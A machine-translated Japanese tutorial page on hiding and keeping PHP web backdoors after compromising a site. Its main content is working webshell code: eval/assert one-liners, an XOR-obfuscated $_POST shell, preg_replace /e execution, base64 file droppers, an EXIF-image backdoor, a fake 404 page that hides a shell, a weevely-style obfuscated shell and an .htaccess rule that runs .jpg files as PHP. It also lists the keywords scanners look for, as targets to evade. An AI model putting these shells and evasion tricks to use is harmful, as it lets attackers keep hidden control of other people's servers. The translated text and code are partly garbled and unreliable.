ホームページ > バックエンド開発 > PHPチュートリアル > PHP コンビニエンス ドアの非表示とメンテナンスのスキル

PHP コンビニエンス ドアの非表示とメンテナンスのスキル

WBOY
リリース: 2016-06-13 12:22:50
オリジナル
1111 人が閲覧しました

PHP バックドアの隠蔽とメンテナンスのスキル

テストが成功した後は、通常、バックドアを解除する作業が非常に重要です。通常、バックドアにはデータベース権限が含まれますが、これに限定されません。 WEB 権限、システム ユーザー権限など。この記事では、パブリック バックドアに隠されているいくつかのアイデアを広めます。

AD:

0×00 序文

テストが成功した後は、通常、特権をより長く保持したいと考えます。バックドアを残すことは非常に重要です。一般的に導入されるバックドアには、データベース権限、WEB 権限、システム ユーザー権限などが含まれますが、これらに限定されません。この記事では、パブリック バックドアに隠されているいくつかのアイデアを広めます。

PHP コンビニエンス ドアの非表示とメンテナンスのスキル

他の人にインスピレーションを与えるための例として PHP-WEBBACKDOOR を取り上げます

最も一般的な 1 文のバックドアの 1 つは次のように記述できます

  1. eval($_POST['cmd']);?>

またはこのように

  1. < ;?php @assert($_POST['cmd']);?>

もちろん、これは呼び出される関数だけです。異なる、について php.ini で PHP によって無効にされている関数を探してください: disable_functions

ただし、

など、運用と保守のためにシェルを直感的に見つける方法はたくさんあります。 /変更時刻/サイズ、ファイル バックアップ比較で発見された異常

◆ Scanbackdoor.php/Pecker/shelldetect.php や各種スキャナーなどの WEBSHELL バックドア スキャン スクリプトを通じて発見されました。

◆ Access.log のアクセスログから判明 バックドアはどこにあるのか

◆ あるいは、WAF によってテストがブロックされ、警告ログが表示されるなど

一般的な検出方法から考えると、シェル検出のための次の 7 つの一般的な方法がまとめられています。Hide

0×01 回避

さまざまなスキャン バックドア コードを見て、誰もが知っているキーワードを残します。そして誰もがシェル内で叫びます

PHP コンビニエンス ドアの非表示とメンテナンスのスキル

次のような一般的なキーワード:

◆システム コマンドの実行: system、passthru、shell_exec、exec、popen、proc_open

◆コードの実行: eval、assert、call_user_func、base64_decode、gzinflate、gzuncompress、gzdecode、str_rot13

◆ファイルのインクルード: require、require_once、include、include_once、file_get_contents、file_put_contents、fputs、fwrite

以前は、$_POST[0]($_POST[1]) を巧みに使ってコマンドを実行していた友人もいましたが、残念なことに、現在ではスキャナーから逃れるのは困難ですが、すべてが変化しており、構築方法も変わりつつあります。無限

Tudouya クラスメートは

  1. @$_ ; // $_ = 1
  2. $__=("#"^"| "); // $__ = _
  3. $__.=("."^"~ "); // _P
  4. $__.=("/"^"` "); // _PO
  5. $__.=("|"^"/"); // _POS
  6. $__.=("{"^"/"); // _POST ${
  7. $__}[!
  8. $_](${$__}[ $_] ); // $_POST[0]($_POST[1]); ?
  9. 構築生成、もちろん直感的すぎる場合は次のように記述できます

$_ ;

    $__= (
  1. "#"^"|").("."^"~").("/"^"`").("|"^" /").("{"^"/");@${$__}[!$_](${ $__}[ $_]);?> 次に、それを偽装するための通常のコードと、単純な「アンチキル」を入力します。 " シェルサンプルが表示されます

    PHP コンビニエンス ドアの非表示とメンテナンスのスキル

    は正しく実行され、通常のスキャナーをバイパスして、新しい一時シェル

    PHP コンビニエンス ドアの非表示とメンテナンスのスキル

    0 を作成することもできます。 ×02 機能

    変数を処理するときに PHP の構文機能を借りて、二重引用符で囲まれたデータに変数が含まれているかどうかを解析 (解析) するという興味深い方法もあります。それらの値)

    例:

    1. ${@eval(phpinfo())}

    {} は解析できます二重引用符で囲みます 変数の内容、@エラーを保持して実行を継続します

    その後、隠しバックドアの構築を開始できますが、ここでの構造は関数によるコマンド実行に依存します。はい、それは preg_replace

      "//e",$_POST['cmd'],"");?
  2. このメソッドは明らかにスキャナーのブラックリストに登録されています。単純に変更してください

  • function funfunc(
  • $str){}
  • echo preg_replace(
  • "/(. ?)/ ies", <span class="func">'funfunc("1")', <span class="string">$_POST[<span class="string">"cmd"]); <span class="vars"><span class="string"></span></span></span></span></span>?>
  • が実行されましたが見つかりませんでした

    PHP コンビニエンス ドアの非表示とメンテナンスのスキル実行方法は明らかです、{${phpinfo() funfunc を渡すとコードが実行されます

    funfunc(
      "{${phpinfo()}}")
    1. 別のメソッド

    "$arr="".
  • $_GET['cmd']."";");? > 誰もが試したことのある方法ですが、インクルードする裏技もあります 通常のファイルのインクルードは、特定の txt や jpg を含むインクルードだけであったり、直接インクルードの脆弱性を残したりすることもありますが、スキャナーが追加のファイルを見つけるのも簡単です インクルード ファイルも簡単に見つけられます このスクリプトを見てください
  • PHP コンビニエンス ドアの非表示とメンテナンスのスキルif (@isset(

    $_GET[content] ))

    >file_put_contents(

    ' README',
      "
    1. @file_put_contents('README',
    2. $_GET[content] ,FILE_APPEND);
    3. fclose($fp ; 少し問題がありますが、必要なシェルは必要に応じて生成してからインクルードできます 残念ながら、file_put_contents などの関数は機密性が高すぎるため、スキャンによって簡単に検出されます。
    4. アクセスによって生成されるエンコード生成を通じてシェルを作成します。fputs(fopen(base64_decode(
    5. 'cGx1Z2luX20ucGhw'),w ),
    6. base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCdd) KT/Pg==' )); 🎜> 一部のスキャナーを回避できますが、このモードでは、検出を避けるために、生成された新しいファイルも単純に非表示にする必要があります。ヒューリスティックなど 新しい概念は考慮されませんこの方法が要求を満たせない場合、賢い攻撃者は再び問題に戻ります
      1. $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$ exif['モデル'],'');?>

      参考: JPG 画像の EXIF に隠されたバックドア

      今回は、単に /b をコピーして画像馬を生成する必要はなくなりました。preg_replace 実行ファイルの特定のフラグを借用することも可能です。

      PHP コンビニエンス ドアの非表示とメンテナンスのスキル

      ここでは、未定義の関数 exif_read_data() を呼び出すプロンプトが表示される場合があります

      php.ini、extension=php_exif.dll を変更する必要があります

      ロード順序を extension=php_mbstring に変更します。.dll

      PHP コンビニエンス ドアの非表示とメンテナンスのスキル

      の後、この画像バックドアは preg_replace e パラメーターに依存し、PHP の変数解析と実行に依存していることがわかります。 Base64 エンコーディングを使用し、最後にファイル識別に依存します。完全なシェルをまとめるのは、隠れたバックドアを初めて使用する子供たちへのちょっとした思い出です

      もちろん、包含ポイントがある限り、インクルード ファイルは多様で、error_log (閉じることも考慮する必要があるかもしれませんが) も含まれますが、予期せぬものだけです...

      0×04 Hidden

      訪問者を防ぐためバックドアの存在を発見すると、賢明なセキュリティ研究者も視聴者を混乱させ、嘘をつきます

      1. span class="string">"-//IETF//DTD HTML 2.0//EN "> 🎜> 404 が見つかりません
      2. h1>
      3. 要求された URL がこのサーバーに見つかりませんでした。

      4. @ preg_replace(
      5. "/[checksql]/e",
      6. $_POST[
      7. 'cmd'],
      8. "saft");
      9. ?>
      10. 上記の HTML レンダリングの助けを借りて、閲覧ページは閲覧者を混乱させるために 404 を偽装し始めています しかし、訪問者はログ分析を避けることはできません多数のログをより適切に隠すために、次のスクリプトが構築されています。 '),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

      ob_ end_clean ( ; しかし、この時点で、接続したいスクリプトは現在のディレクトリに生成されています

        0×05混乱
      1. weevelyツールを使用したことがある子供たちは、生成されるアンチキル シェルは次のようになります
        1. $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICGJGEpLTgiMpKSkpgiKTtlY2hvIC GI38GJGJOJ0GJUGJU";  
        2. $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiukiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlgikYgimVcwcw";  
        3. $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
        4. $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCvJcvXMGxMcGcGcGcGcg"X3Jlc giGxhY2UgioYXgiJyYXkoJy" ;  
        5. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgKYSk9PSgidvbycggiYgJGMo";  
        6. $smgv = $ftdf("f","","bfafsfef6f6f4_fdfefcodfe");  
        7. $jgfi = $ftdf("l",""," lclrleraltel_functlilon");  
        8. $rdwm = $jgfi('',$smgv($ftdf) ("gi","",$zrmt.$kthe.$wmmi.$penh))); $rdwm();  
        9. ?> 

        コミュニティのメンバーになりたいです

        PHP コンビニエンス ドアの非表示とメンテナンスのスキル

        追伸: 私はコミュニティのメンバーです:免杀方式Replace、base64_decode、 str_replace、base64_decode、decode、🙂🙂 著者の立場について詳しく読む

        親戚:

        ◆それは良い考えです

        ◆本当かどうかはわかりません🎜>

        ◆広めたい(🎜>

        ◆会社登録

        友達がいるなら友達がいいよ

        0×06

        http://www.htaccess,loginPHP コンビニエンス ドアの非表示とメンテナンスのスキル

        にアクセスしてください。 画像:

        AddType application/x-httpd-php .jpg

        PHP コンビニエンス ドアの非表示とメンテナンスのスキル

        1. 0×07

        PHP コンビニエンス ドアの非表示とメンテナンスのスキルそれは美しいことです、それは美しい場所です、それは美しい場所です、それは美しい場所です、それができるようになりたい、それができるようになりたいです。会社のウェブサイト、会社のウェブサイト、会社のウェブサイト、シェルはシェルではありません。望不吝赐教。

    関連ラベル:
    ソース:php.cn
    このウェブサイトの声明
    この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
    人気のチュートリアル
    詳細>
    最新のダウンロード
    詳細>
    ウェブエフェクト
    公式サイト
    サイト素材
    フロントエンドテンプレート